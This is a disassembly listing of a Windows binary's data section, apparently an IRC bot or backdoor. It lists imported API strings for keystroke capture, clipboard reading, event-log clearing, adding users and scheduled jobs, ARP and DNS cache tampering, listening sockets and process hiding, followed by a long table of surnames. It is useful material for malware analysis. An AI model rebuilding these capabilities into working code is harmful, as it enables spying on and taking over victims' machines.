DATA XREF: sub_409B12+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo ; sub_4185A4+65o align 10h aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo align 10h aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o ; sub_4185A4+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o align 10h aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo align 10h aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o align 10h aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo align 10h aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409B12+631o align 10h aBind db 'bind',0 ; DATA XREF: sub_409B12+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo align 10h aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o align 10h a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o align 10h aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao align 10h aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o align 10h aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo align 10h aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o align 10h aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o align 10h aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o align 10h aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co align 10h aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo align 10h aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o ; sub_424D78+Do align 10h aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo align 10h aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao align 10h unk_42D330 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 10h aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o align 10h aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o align 10h aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o align 4 a_: ; DATA XREF: sub_40F96A+252o unicode 0, <.>,0 unk_42D4C0 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 10h unk_42D4F0 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 10h unk_42D520 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D544 db 2Dh ; - ; DATA XREF: sub_40AB31+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o ; sub_40BFEB+38o align 10h aReal db 'real',0 align 4 dd 0 dword_42D58C dd 0 ; DATA XREF: sub_40B08D+7o off_42D590 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r aConst db 'const',0 align 10h dd 1, 40AD22h, 7474656Ch, 7265h, 0 dd 2, 40AD80h, 706D6F63h, 2 dup(0) dd 3, 40ADCDh, 6E756F63h, 797274h, 0 dd 4, 40AE6Bh, 736Fh, 2 dup(0) dd 5, 40AEE0h off_42D5F8 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D604 dd offset aAddison ; DATA XREF: sub_40B08D+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" 